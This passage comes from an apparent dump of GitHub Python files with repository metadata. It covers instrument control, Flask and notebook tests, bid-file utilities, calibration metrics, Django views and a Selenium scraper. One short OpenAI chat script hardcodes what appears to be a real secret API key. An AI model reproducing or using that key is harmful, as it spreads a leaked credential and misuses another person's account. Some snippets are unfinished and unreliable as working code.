yc = arr[0] # 세로 위치\n xc = arr[1] # 가로 위치\n micro_num = arr[2] # 미생물 수\n micro_dir = arr[3] # 이동 방향\n \n # print(arr)\n\n\n\n\n\n\n\n\n\n","repo_name":"EHCha/TIL","sub_path":"Algo/0923/2382/2382.py","file_name":"2382.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42315362987","text":"import visa\r\nimport numpy as np\r\n\r\nclass KeithleyPowerSupply:\r\n \"\"\"An interface to the Keithley 2231A DC Power Supply.\r\n\r\n Args:\r\n address (int): The USB address as seen by VISA. If the full address is\r\n `ASRL42::INSTR`, then `42` should be provided.\r\n settings (int, optional): The settings that will be recalled once the\r\n connection is established.\r\n\r\n Raises:\r\n AssertionError: If the connection fails raises an exception.\r\n\r\n Examples:\r\n Connect to a Keithley 2231A at address `ASRL42::INSTR`\r\n\r\n >>> my_pwr_supply = KeithleyPowerSupply(address=42)\r\n\r\n Let's set all three voltages to 1.23 V\r\n\r\n >>> my_pwr_supply.voltages = [1.23, 1.23, 1.23]\r\n\r\n Finally, let's enable the outputs\r\n\r\n >>> my_pwr_supply.output = True\r\n\r\n Note:\r\n Remember to delete the object when it is not needed anymore, otherwise the\r\n USB link will remain busy:\r\n\r\n >>> del my_pwr_supply\r\n \"\"\"\r\n\r\n def __init__(self, address, settings=1):\r\n # Check whether the resource is visible to PyVISA\r\n address_string = \"ASRL%d::INSTR\" % address\r\n assert address_string in visa.ResourceManager().list_resources(), \\\r\n \"Address not available.\"\r\n\r\n self._link = visa.ResourceManager().open_resource(address_string)\r\n\r\n self._link.write('*RST;\\n*CLS')\r\n self._alive = True\r\n try:\r\n if \"Keithley instruments, 2231A\" not in self._link.query('*IDN?'):\r\n self._alive = False\r\n except:\r\n self._alive = False\r\n if not self._alive:\r\n self._link.close()\r\n raise AssertionError(\"Keithley 2231A not found.\")\r\n\r\n self._link.write('*RST;\\n*CLS;\\nsystem:remote\\n*RCL %d' % settings)\r\n self._link.write('apply:voltage 0,0,0');\r\n self._link.write('output:state 1');\r\n\r\n self._voltages = np.array([0,0,0])\r\n self._output = True\r\n\r\n def __del__(self):\r\n self._link.close()\r\n\r\n @property\r\n def voltages(self):\r\n return self._voltages\r\n\r\n @voltages.setter\r\n def voltages(self, volts):\r\n volts = np.array(volts)\r\n assert volts.size == 3, \"Too many or too few voltages provided.\"\r\n self._link.write('apply:voltage %f,%f,%f' % tuple(np.around(volts, 3)))\r\n self._voltages = np.around(volts, 3)\r\n\r\n @property\r\n def output(self):\r\n return self._output\r\n\r\n @output.setter\r\n def output(self, status):\r\n assert type(status) is bool, \"Only True and False are accepted.\"\r\n self._link.write('output:state %d' % int(status))\r\n self._output = status\r\n","repo_name":"matpompili/qlab","sub_path":"qlab/controllers/KeithleyPowerSupply.py","file_name":"KeithleyPowerSupply.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"37925923373","text":"import unittest\nfrom flask_testing import TestCase\nfrom app import app\nimport json\n\n\nclass TopicsTestCase(TestCase):\n def create_app(self):\n app.config['TESTING'] = True\n return app\n\n def test_that_topics_are_returned(self):\n response = self.client.get('/')\n data = json.loads(response.data.decode())\n self.assert200(response)\n self.assertEqual(data['status'], 'success', msg='Status should be success')\n self.assertListEqual(data['topics'],\n ['news', 'business', 'counties', 'sports',\n 'blogs & opinion', 'life and style', 'videos',\n 'photos'],\n msg='List is incorrect')\n self.assertTrue(isinstance(data['topics'], list), msg='Topics is not a list')\n\n def test_that_topic_data_is_returned(self):\n response = self.client.get('/topics?topic=news')\n data = json.loads(response.data.decode())\n self.assert200(response)\n self.assertEqual('success', data['status'], msg='request not successful for topic ')\n self.assertTrue(isinstance(data['data'][0], object), msg='not an object')\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"jokamjohn/web_scrap","sub_path":"tests/test_topics.py","file_name":"test_topics.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"17318747883","text":"## test examples using papermill\nimport logging\nfrom pathlib import Path\nimport os\nfrom os.path import exists\n\nfrom testbook import testbook\nimport papermill as pm\n\nprint(\">>>>>>>>>>>>>>>>> current dir:\"+os.getcwd())\nif not os.getcwd().endswith(\"/examples\"):\n os.chdir('./examples/')\n print(\">>>>>>>>>>>>>>>>> current dir:\"+os.getcwd())\n\n@testbook(\"_make_demo_data.ipynb\", execute=True)\ndef test_make_demo_data(tb):\n pass # execute only because tests are present in the notebook itself\n return\n\n# parameters\ninput_dir_path='./inputs/'\n\ndef test_protein_abundance_and_normalization(\n input_path='./protein_abundance_and_normalization.ipynb',\n ):\n output_dir_path= './outputs/' + Path(input_path).stem + '/'\n os.makedirs(output_dir_path,exist_ok=True)\n\n parameters=dict(\n ## parameters\n input_path=f'{input_dir_path}/image_intensity_cells.npy',\n segmented_image_path=f'{input_dir_path}/image_segmented_cells.npy',\n output_path=f'{output_dir_path}/01_gfpby_cell.tsv',\n misaligned_fraction_max=0.9,\n edge_off=20,\n )\n \n logging.info(parameters)\n Path(output_dir_path).mkdir(exist_ok=True)\n\n _=pm.execute_notebook(\n input_path=input_path,\n output_path='./outputs/' + Path(input_path).name,\n parameters=parameters,\n # report_mode=True,\n kernel_name='test',\n execution_timeout=360,\n )\n assert exists(parameters['output_path'])\n \ndef test_protein_abundance_by_marker_location(\n input_path='./protein_abundance_by_marker_location.ipynb',\n ):\n output_dir_path= './outputs/' + Path(input_path).stem + '/'\n os.makedirs(output_dir_path,exist_ok=True)\n\n parameters=dict(\n ## parameters\n ## parameters\n input_path=f'{input_dir_path}/image_marker_cells.npy', ## path to the image from channel marking a subcellular localization\n output_path=f'{output_dir_path}/01_gfpby_cell_and_marker.tsv',\n\n image_intensity_path=f'{input_dir_path}/image_intensity_cells.npy', ## path to the image with channel which is to be used to caluculate the abundance\n regions_path=f'{input_dir_path}/image_segmented_cells.npy', ## segmented regions (dtype: bool)\n marker_intensity_min_quantile=0.975,\n pixels_per_cell_min=100,\n non_marker_intensity_quantile_off=0.02,\n\n force=False,\n test=True,\n )\n\n logging.info(parameters)\n Path(output_dir_path).mkdir(exist_ok=True)\n\n _=pm.execute_notebook(\n input_path=input_path,\n output_path='./outputs/' + Path(input_path).name,\n parameters=parameters,\n # report_mode=True,\n kernel_name='test',\n execution_timeout=360,\n )\n assert exists(parameters['output_path'])\n","repo_name":"rraadd88/htsimaging","sub_path":"tests/test_examples_scripts.py","file_name":"test_examples_scripts.py","file_ext":"py","file_size_in_byte":2743,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"20412958133","text":"from os.path import abspath, join, dirname\nfrom lib.ParatPrint import colorize, pprint\nfrom lib.Version import __version__\ntry:\n from ConfigParser import ConfigParser\n from urllib2 import urlopen\nexcept ModuleNotFoundError:\n from configparser import ConfigParser\n from urllib.request import urlopen\n\n\ndef check_update():\n\n root_path = abspath(join(dirname(__file__)))\n\n parser = ConfigParser()\n path_to_config = join(root_path, \"..\", \"conf\", \"config.ini\")\n\n with open(path_to_config, 'r') as config:\n parser.readfp(config)\n config.close()\n\n color_mode = parser.get('cmd', 'colors').lower()\n colored = True if color_mode == \"on\" else False\n\n try:\n\n updateurl = 'https://raw.githubusercontent.com/micle-fm/Parat/master/conf/parat.version'\n request = urlopen(updateurl)\n parat_version = request.read().rstrip('\\n')\n request.close()\n\n except:\n\n path_to_version_file = join(root_path, \"..\", \"conf\", \"parat.version\")\n with open(path_to_version_file, 'r') as ver_file:\n parat_version = ver_file.read().rstrip('\\n')\n ver_file.close()\n\n if parat_version != __version__:\n pprint(\n colorize(\n \"\\t New version aviable on https://github.com/micle-fm/parat .\\n\",\n colored=colored,\n status=\"WAR\"\n ))\n","repo_name":"0x43f/Parat","sub_path":"update/Updater.py","file_name":"Updater.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"9635596876","text":"import pandas as pd\nfrom lxml import etree # for reading XML files from CMT\n\n# converts CMT xml file to a dataframe\ndef read_bids(filename):\n data = [] # paperID, email, bid\n doc = etree.parse(filename)\n for subm in doc.xpath('.//submission'):\n paperID = int(subm.attrib['submissionId'])\n for ch in subm.getchildren():\n bid_str = ch.attrib['bid']\n bid_id = int(bid_str.split(' ')[0])\n data.append( [paperID, ch.attrib['email'], bid_id, bid_str])\n return pd.DataFrame(data, columns=[\"Paper ID\", \"Email\", \"Bid_nr\", \"Bid\"])\ndef read_bids_orig(filename):\n df = read_bids(filename)\n return df.rename(columns={'Paper ID': 'paperID', 'Email': 'email', 'Bid': 'bid_str', 'Bid_nr': 'bid'})\n\n# Write out bids in CMT-compatible XML\ndef write_bids(df_bids, fname=\"Bids_cleaned.xml\"):\n with open(fname, 'w') as f: # , encoding='utf-8'\n f.write(\"\\n\")\n for paperID, subdf_bids in df_bids.groupby('paperID'):\n f.write(f\" \\n\")\n for row in subdf_bids[['email','bid_str']].itertuples():\n f.write(f\" \\n\")\n f.write(' \\n')\n f.write(\"\\n\")\n print(f\"Wrote {len(df_bids)} bids to {fname}\")\n\n# converts CMT xml file to a dataframe\ndef read_assign(filename):\n data = [] # paperID, email\n doc = etree.parse(filename)\n for subm in doc.xpath('.//submission'):\n paperID = int(subm.attrib['submissionId'])\n for ch in subm.getchildren():\n data.append( [paperID, ch.attrib['email']])\n return pd.DataFrame(data, columns=['Paper ID', 'Email'])\n\n# adds bidcounts to papers\ndef add_bidcounts_to_papers(df_papers, df_bids):\n vcnt = df_bids.groupby('Paper ID')['Bid'].value_counts()\n # add each of those as a new column with counts, so they can have value '0' too\n for bidstr in sorted(df_bids.Bid.unique()):\n df_papers[bidstr] = 0\n df_papers.loc[vcnt.loc[:,bidstr].index, bidstr] = vcnt.loc[:,bidstr]\n return df_papers\n\n\n","repo_name":"tias/program_chair_scripts","sub_path":"cmt_analysis_utils.py","file_name":"cmt_analysis_utils.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9602555603","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport torch\nfrom scipy.stats import vonmises\n\ndef calculate_ece(conf_mat, num_bins, name):\n # Calculate Precision from TP and FP\n accuracy = []\n confidence = []\n bin_totals = []\n for bin_mat in conf_mat:\n # If the bin is empty\n if bin_mat['TP'] + bin_mat['FP'] == 0:\n accuracy.append(0)\n confidence.append(0)\n bin_totals.append(0)\n continue\n # Calculate precision\n precision = bin_mat['TP'] / (bin_mat['TP'] + bin_mat['FP'])\n accuracy.append(precision)\n confidence.append(np.sum(bin_mat['confidence_list']) / (bin_mat['TP'] + bin_mat['FP']))\n bin_totals.append(bin_mat['TP'] + bin_mat['FP'])\n\n accuracy = np.array(accuracy[1:]) # the first element is always going to be zero\n confidence = np.array(confidence[1:])\n bin_totals = bin_totals[1:]\n bin_middle_range = np.arange(0.5*(1.0/num_bins), 1.0 + 0.5*(1.0/num_bins), 1.0/num_bins)\n ece = np.sum(np.array(bin_totals) * np.abs(accuracy - confidence) / np.sum(bin_totals))\n max_ce = np.max(np.abs(accuracy - confidence))\n weight_per_bin = np.array(bin_totals) / np.sum(bin_totals) # percentage of how many objects are in each bin\n # print('bin_middle_range', bin_middle_range)\n # print('bin_totals', bin_totals)\n # print('bin_totals sum', np.sum(bin_totals))\n # print('confidence', confidence)\n # print('bin_totals weighted ', np.array(bin_totals) / np.sum(bin_totals))\n # print('acc - conf', np.abs(accuracy - confidence))\n # print('multiplied', np.array(bin_totals) * np.abs(accuracy - confidence))\n # print('divided', np.array(bin_totals) * np.abs(accuracy - confidence) / np.sum(bin_totals))\n # print('ece', ece)\n # print('max_ce', max_ce)\n # exit(0)\n key = ':'.join([name])\n \n return accuracy, confidence, ece, max_ce, weight_per_bin, key\n\ndef calculate_ece_reg(gt_list, pred_list, histogram_bin_count=15):\n pred_means = [obj.data['boxes_lidar'] for obj in pred_list]\n pred_vars = [obj.data['pred_vars'] for obj in pred_list]\n gt_means = [gt_list[int(obj.matched_idx)].data['gt_boxes'] for obj in pred_list] \n\n # Compute regression calibration errors. False negatives cant be evaluated since\n # those do not have ground truth.\n all_predicted_means = torch.tensor(pred_means)\n\n all_predicted_covariances = torch.tensor(pred_vars)\n\n all_predicted_gt = torch.tensor(gt_means)\n\n # The assumption of uncorrelated components is not accurate, especially when estimating full\n # covariance matrices. However, using scipy to compute multivariate cdfs is very very\n # time consuming for such large amounts of data.\n reg_maximum_calibration_error = []\n reg_expected_calibration_error = []\n\n # acc added\n acc_list_list = []\n\n # Regression calibration is computed for every box dimension\n # separately, and averaged after.\n for box_dim in range(all_predicted_gt.shape[1]):\n all_predicted_means_current_dim = all_predicted_means[:, box_dim]\n all_predicted_gt_current_dim = all_predicted_gt[:, box_dim]\n all_predicted_covariances_current_dim = all_predicted_covariances[:, box_dim]\n if box_dim == all_predicted_gt.shape[1] - 1:\n # cdf(x, kappa, loc=0, scale=1)\n # normalize predicted mean angle to [gt angle - pi, gt angle + pi]\n for i in range(len(all_predicted_means_current_dim)):\n if all_predicted_means_current_dim[i] > all_predicted_gt_current_dim[i] + np.pi:\n all_predicted_means_current_dim[i] -= 2*np.pi\n if all_predicted_means_current_dim[i] < all_predicted_gt_current_dim[i] - np.pi:\n all_predicted_means_current_dim[i] += 2*np.pi\n\n # print('all_predicted_gt_current_dim min', all_predicted_gt_current_dim.min())\n # print('all_predicted_gt_current_dim max', all_predicted_gt_current_dim.max())\n # print('all_predicted_means_current_dim min', all_predicted_means_current_dim.min())\n # print('all_predicted_means_current_dim max', all_predicted_means_current_dim.max())\n # print('here')\n # print('all_predicted_gt_current_dim', all_predicted_gt_current_dim)\n # print('all_predicted_means_current_dim', all_predicted_means_current_dim)\n # print('all_predicted_covariances_current_dim', all_predicted_covariances_current_dim)\n\n all_predicted_scores = vonmises.cdf(\n all_predicted_means_current_dim,\n 1/all_predicted_covariances_current_dim, \n loc=all_predicted_gt_current_dim)\n # print('all_predicted_means_current_dim', all_predicted_means_current_dim[:5])\n # print('all_predicted_gt_current_dim', all_predicted_gt_current_dim[:5])\n # print('all_predicted_scores', all_predicted_scores[:5])\n # print('all_predicted_scores min', all_predicted_scores.min())\n # print('all_predicted_scores max', all_predicted_scores.max())\n # print('all_predicted_scores mean', all_predicted_scores.mean())\n\n all_predicted_scores = torch.tensor(all_predicted_scores)\n else:\n normal_dists = torch.distributions.Normal(\n all_predicted_means_current_dim,\n scale=torch.sqrt(all_predicted_covariances_current_dim))\n all_predicted_scores = normal_dists.cdf(\n all_predicted_gt_current_dim)\n\n reg_calibration_error = []\n acc_list = []\n histogram_bin_step_size = 1.0 / histogram_bin_count\n for i in torch.arange(\n 0.0,\n 1.0 - histogram_bin_step_size,\n histogram_bin_step_size):\n # Get number of elements in bin\n elements_in_bin = (\n all_predicted_scores < (i + histogram_bin_step_size))\n num_elems_in_bin_i = elements_in_bin.type(\n torch.FloatTensor).sum()\n\n # Compute calibration error from \"Accurate uncertainties for deep\n # learning using calibrated regression\" paper.\n # Following equation 9 in the paper with weights adding to 1.0\n p_j = (i + histogram_bin_step_size) # Confidence level\n p_hat_j = num_elems_in_bin_i / all_predicted_scores.shape[0] # Empirical frequency\n w_j = num_elems_in_bin_i / all_predicted_scores.shape[0] # How many items are in the bin\n reg_calibration_error.append( w_j * (p_j - p_hat_j) ** 2 )\n\n # Add the bin accuracy (empirical frequency)\n acc_list.append(p_hat_j)\n\n calibration_error = torch.stack(reg_calibration_error)\n reg_maximum_calibration_error.append(calibration_error.max())\n # Take sum instead because our weights add up to 1.0\n reg_expected_calibration_error.append(calibration_error.sum())\n acc_list_list.append(acc_list)\n\n return np.array(reg_maximum_calibration_error).mean(), \\\n np.array(reg_expected_calibration_error).mean(), \\\n np.array(acc_list_list)\n\ndef plot_reliability_clf(class_name, acc, conf, ece, max_ce, weight_per_bin, save_path):\n interval = 1 / len(acc)\n x = np.arange(interval/2, 1+interval/2, interval)\n\n plt.figure(figsize=(4,4))\n plt.grid(linestyle='dotted')\n plt.bar(x, acc, width=interval, edgecolor='k', label='Prediction')\n # Plotting the gap requires you to calculate the gap and use the acc as the bottom position\n gap = conf - acc\n # Create red colour with alpha value based on the weight of each bin\n rgba_colors = np.zeros((len(x),4))\n rgba_colors[:,0] = 1.0\n rgba_colors[:, 3] = weight_per_bin\n plt.bar(x, gap, bottom=acc, width=interval, edgecolor='red', color=rgba_colors, label='Gap')\n # plt.bar(x, gap, bottom=acc, width=interval, edgecolor='red', color='red', alpha=0.3, label='Gap')\n plt.xlabel('Confidence')\n plt.ylabel('Accuracy')\n plt.xlim([0,1])\n plt.ylim([0,1])\n\n plt.plot([],[], ' ', label='ECE={}'.format(ece.round(3)))\n plt.plot([],[], ' ', label='MAXCE={}'.format(max_ce.round(3)))\n plt.plot([0,1], [0,1], 'k--', label='Perfect prediction')\n plt.legend(loc='upper left', framealpha=0.3)\n plt.title(class_name)\n plt.tight_layout()\n plt.savefig(save_path, dpi=300)\n plt.close()\n\ndef plot_reliability_reg(class_name, acc, ece, save_path):\n interval = 1 / (len(acc[0]) + 1)\n x = np.arange(0, 1.0 + interval/2, interval)\n plt.figure(figsize=(5,5))\n\n labels = ['x', 'y', 'z', 'l', 'w', 'h', 'rz']\n for i in range(len(acc)):\n acc_plot = np.concatenate(([0], acc[i], [1.0]))\n plt.plot(x, acc_plot, label=labels[i])\n plt.xlabel('Confidence')\n plt.ylabel('Accuracy')\n plt.xlim([0,1])\n plt.ylim([0,1])\n plt.text(0,1.01,'ECE={}'.format(str(ece)[:5]))\n\n plt.plot([0,1], [0,1], 'k--', label='Perfect prediction')\n plt.legend(loc='upper left', framealpha=0.3)\n plt.title(class_name)\n plt.tight_layout()\n plt.grid(linestyle='dotted')\n plt.savefig(save_path, dpi=300)\n plt.close()\n","repo_name":"mpitropov/uncertainty_eval","sub_path":"ece.py","file_name":"ece.py","file_ext":"py","file_size_in_byte":9116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8214265271","text":"from odoo import api, fields, models, tools, _\n\n\nclass UpdateCodeWizard(models.TransientModel):\n _name = 'update.code.wizard'\n\n discount_code = fields.Char('Discount Code')\n\n def multi_update(self):\n ids = self.env.context['active_ids'] # selected record ids\n res_partner = self.env['res.partner'].browse(ids)\n new_data = {}\n\n if self.discount_code:\n new_data['customer_discount_code'] = self.discount_code\n\n res_partner.write(new_data)\n","repo_name":"NguyenTienDung11012001/NguyenTienDung_discount_code","sub_path":"wizard/update_code.py","file_name":"update_code.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39240469722","text":"# multivariate lin regresion of heights vs weights\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom scipy.stats import norm, uniform, multivariate_normal\nfrom scipy.interpolate import griddata\nimport pymc3 as pm\n\nd = pd.read_csv('../../rethinking/data/WaffleDivorce.csv', sep=';', header=0)\n\nd['Marriage_s'] = (d.Marriage - np.mean(d.Marriage)) / np.std(d.Marriage)\nd['MedianAgeMarriage_s'] = (d.MedianAgeMarriage - np.mean(d.MedianAgeMarriage)) / np.std(d.MedianAgeMarriage)\n\nwith pm.Model() as model:\n sigma = pm.Uniform('sigma', lower=0, upper=10)\n bA = pm.Normal('bA', mu=0, sd=1)\n bR = pm.Normal('bR', mu=0, sd=1)\n a = pm.Normal('a', mu=10, sd=10)\n mu = pm.Deterministic('mu', a + bR * d.Marriage_s + bA * d.MedianAgeMarriage_s)\n divorce = pm.Normal('divorce', mu=mu, sd=sigma, observed=d.Divorce)\n trace_model = pm.sample(1000, tune=1000)\n\nR_avg = np.linspace(-3, 3, 100)\nmu_pred = trace_model['a'] + trace_model['bR'] * R_avg[:, None]\nmu_hpd = pm.hpd(mu_pred.T)\ndivorce_hpd = pm.hpd(norm.rvs(mu_pred, trace_model['sigma']).T)\n\nmu_pred2 = trace_model['a'] + trace_model['bA'] * R_avg[:, None]\nmu_hpd2 = pm.hpd(mu_pred2.T)\ndivorce_hpd2 = pm.hpd(norm.rvs(mu_pred2, trace_model['sigma']).T)\n\n_, (ax0, ax1) = plt.subplots(1, 2)\n\nax0.plot(R_avg, mu_pred.mean(1), 'C0')\nax0.fill_between(R_avg, mu_hpd[:, 0], mu_hpd[:, 1], color='C2', alpha=0.25)\nax0.fill_between(R_avg, divorce_hpd[:, 0], divorce_hpd[:, 1], color='C2', alpha=0.25)\nax0.set_xlabel('Marriage.s')\nax0.set_ylabel('Divorce')\nax0.set_title('MedianAgeMarriage_s = 0')\n\nax1.plot(R_avg, mu_pred2.mean(1), 'C0')\nax1.fill_between(R_avg, mu_hpd2[:, 0], mu_hpd2[:, 1], color='C2', alpha=0.25)\nax1.fill_between(R_avg, divorce_hpd2[:, 0], divorce_hpd2[:, 1], color='C2', alpha=0.25)\nax1.set_xlabel('MedianAgeMarriage.s')\nax1.set_ylabel('Divorce')\nax1.set_title('Marriage_s = 0')\n\nplt.show()\n","repo_name":"xSakix/bayesian_analysis","sub_path":"ch5/notes_5.py","file_name":"notes_5.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72954901840","text":"# Python 3.7\n#\n# Solution by\n# Curtis Babnik\n# curtisbabnik@gmail.com\n\n# This solution comes with some boilerplate that I use to speed along the process\n#\n# The intended use is to pipe input from a file. If you're not using a file for input\n# then please send an EOF character with ctrl-Z in windows or ctrl-D in unix.\n\n\nT = int(input())\nfor t in range(T):\n # SOLUTION STARTS HERE\n # --------------------\n NBF = input().split(' ')\n N = int(NBF[0])\n B = int(NBF[1]) # at most 15\n F = int(NBF[2])\n # make F calls to test, then declare which of the B workers are broken\n\n # I imagine test set 2 is difficult, but test set 1 seems ok, I'll start with it.\n # my strategy is to just do like a binary sort\n\n # for test set 2 it may be worth noting that 15 in binary is 11111, 5 digits\n\n TEST_BITS = []\n for i in range(10):\n runlen = 2 ** (9 - i)\n runs = 2 ** i\n TEST_BITS.append(('0' * runlen + '1' * runlen) * runs)\n\n for i in range(10):\n print(TEST_BITS[i][:7])\n RETURN = input() + TEST_BITS[i][7:]\n\n result = 0\n print('Case #%d: %s' % ((t + 1), result))\n input()\n","repo_name":"cbabnik/coding_puzzles","sub_path":"Google/CodeJam/2019/Qualification/a4.py","file_name":"a4.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42725701130","text":"import openai\n\nopenai.api_key = \"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\"\nquestions = input()\n\nres = openai.ChatCompletion.create(\n model = \"gpt-3.5-turbo\",\n messages = [\n {\n \"role\":\"user\",\n 'content': questions\n }\n ]\n) \nprint(res[\"choices\"][0][\"message\"][\"content\"]) # レスポンス（res）の中から返答のみを指定して出力する","repo_name":"piyorin-hub/HelloChatGPT","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33738594054","text":"from django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin\nfrom django.contrib.auth.models import User\nfrom django.shortcuts import render, redirect\nfrom django.views.generic import UpdateView\n\nfrom .forms import UserRegisterForm, UserUpdateForm, ProfileUpdateForm\nfrom base.models import Question\nfrom posts.models import Post\n\n\ndef register(request):\n if request.method == \"POST\":\n form = UserRegisterForm(request.POST)\n if form.is_valid():\n form.save()\n username = form.cleaned_data.get('username')\n messages.success(request, f'Account Successfully created for {username}! Login In Now')\n return redirect('/login')\n else:\n form = UserRegisterForm()\n\n return render(request, 'users/register.html', {'form': form})\n\n\n@login_required(login_url='/login')\ndef profile(request, pk):\n # import pdb\n # pdb.set_trace()\n user = User.objects.filter(id=pk)[0]\n posts = Post.objects.filter(user=request.user)\n questions = Question.objects.filter(user=request.user)\n context = {\"current\": user, 'posts': posts, 'posts_count': len(posts), 'question_count': len(questions)}\n return render(request, 'users/profile.html', context=context)\n\n\n@login_required\ndef profile_update(request):\n if request.method == \"POST\":\n u_form = UserUpdateForm(request.POST, instance=request.user)\n p_form = ProfileUpdateForm(request.POST, request.FILES, instance=request.user.profile)\n if u_form.is_valid() and p_form.is_valid():\n u_form.save()\n p_form.save()\n messages.success(request, f'Account Updated Successfully!')\n return redirect('base:profile', pk=request.user.id)\n else:\n u_form = UserUpdateForm(instance=request.user)\n p_form = ProfileUpdateForm(instance=request.user.profile)\n context = {\n 'u_form': u_form,\n 'p_form': p_form\n }\n return render(request, 'users/profile_update.html', context)\n","repo_name":"DmytroGorbenko/Ball4ever","sub_path":"ball_4_ever/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8163841216","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.common.exceptions import NoSuchElementException\nimport pandas as pd\nimport os\nimport time\nimport csv\n\n# start timer \nstart = time.time()\n# counter \ncount = 1\n\n# change cwd to the script directory \nos.chdir(os.path.dirname(__file__))\npath = os.getcwd()\n\n\n\n# prefecture number 1~47\nprefecture_number = '37'\n\n# webdriver \nurl = 'https://www.zennichi.or.jp/member_search/list/?prefecture={}&branch=&address=&representative=&shogo=&shogo_kana=&license_holder=&number=®ion=&hosho_approved='.format(prefecture_number)\ndriver = webdriver.Chrome()\ndriver.get(url)\n\n# prefecture name\nprefecture = driver.find_element(By.XPATH, '//*[@id=\"prefecture\"]/option[@selected=\"selected\"]').text\nprint('Starting: ' + str(prefecture) + '...')\n\ndata_all = []\n\ntry:\n while driver.find_element(By.CLASS_NAME, 'next-btn'):\n\n # table\n member_result_table = driver.find_element(By.CLASS_NAME, 'member-result-table')\n # tr \n rows = member_result_table.find_elements(By.CSS_SELECTOR, 'tr')\n\n for row in rows[:2]:\n td_name = row.find_element(By.CSS_SELECTOR, 'td:nth-child(2)')\n print(str(td_name.text))\n print('\\n')\n \n td_details = row.find_element(By.CSS_SELECTOR, 'td:nth-child(3)')\n print(str(td_details.text))\n print('----------')\n\n td1 = str(td_name.text)\n td2 = str(td_details.text)\n\n df = pd.DataFrame([td1, td2])\n data_all.append(df)\n \n\n\n next_button = driver.find_element(By.CLASS_NAME, 'next-btn')\n next_button.click()\n time.sleep(1)\n\nexcept NoSuchElementException:\n # table\n member_result_table = driver.find_element(By.CLASS_NAME, 'member-result-table')\n # tr \n rows = member_result_table.find_elements(By.CSS_SELECTOR, 'tr')\n\n for row in rows:\n td_name = row.find_element(By.CSS_SELECTOR, 'td:nth-child(2)')\n print(str(td_name.text))\n print('\\n')\n \n td_details = row.find_element(By.CSS_SELECTOR, 'td:nth-child(3)')\n print(str(td_details.text))\n print('Finished')\n print('\\n')\n\n\n# fix here\n data_all.to_csv()","repo_name":"mooshkid/lifecom_zennichi","sub_path":"test/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"39350455754","text":"from __future__ import absolute_import, division, print_function, \\\n with_statement\n\nimport sys\nimport logging\nfrom chatting import eventloop, message, messagehandler\n\n\nclass ChatClient(messagehandler.IMessageHandler):\n \"\"\"Gui for chatting.\"\"\"\n\n def __init__(self, nick_name, event_loop, msg_sender):\n self._nick_name = nick_name\n event_loop.add(sys.stdin,\n eventloop.POLL_IN | eventloop.POLL_ERR, self)\n self._msg_sender = msg_sender\n self._msg_sender.set_msg_handler(self)\n\n def do_login(self):\n logging.debug(\"sending login req.\")\n self._msg_sender.send_message(message.LoginReq(self._nick_name))\n\n def handle_login_rsp(self, login_rsp, src_addr):\n if login_rsp.result:\n logging.debug(\"login success.\")\n\n def handle_chat_req(self, chat_req, src_addr):\n logging.debug(\"received chat request.\")\n msg_from = chat_req.msg_to\n msg_content = chat_req.msg_content\n if msg_from and msg_content:\n print(\"%s: %s\" % (msg_from, msg_content))\n\n def _handle_input(self):\n raw_msg = sys.stdin.readline()\n msg_to = raw_msg.split(\":\")[0].strip()\n msg = \":\".join(raw_msg.split(\":\")[1:]).strip()\n if (not msg_to) or (not msg):\n print(\"Please specify whom and what message, e.g: 'nick: hello.'\")\n elif len(msg) > 1024:\n raise Exception(\"Max message length reached: 1024!\")\n else:\n self._msg_sender.send_message(message.ChatReq(msg_to, msg))\n\n def handle_event(self, sock, fd, event):\n if fd == sys.stdin.fileno(): # handle input from sys.stdin\n if event & eventloop.POLL_ERR:\n logging.error('ChatClient err')\n self._handle_input()\n\n\ndef test_message_available():\n assert hasattr(message, 'LoginReq')\n assert hasattr(message, 'LoginRsp')\n assert hasattr(message, 'ChatReq')\n\n\nif __name__ == '__main__':\n test_message_available()\n","repo_name":"beacoder/snippets","sub_path":"Scripts/chatting-p2.6/chatting/client/chat.py","file_name":"chat.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"30428419773","text":"\nfrom datetime import datetime, timedelta\nfrom influxdb import DataFrameClient\nimport pandas as pd\nimport numpy as np\n\n\nclass Database:\n\n def __init__(self, client = 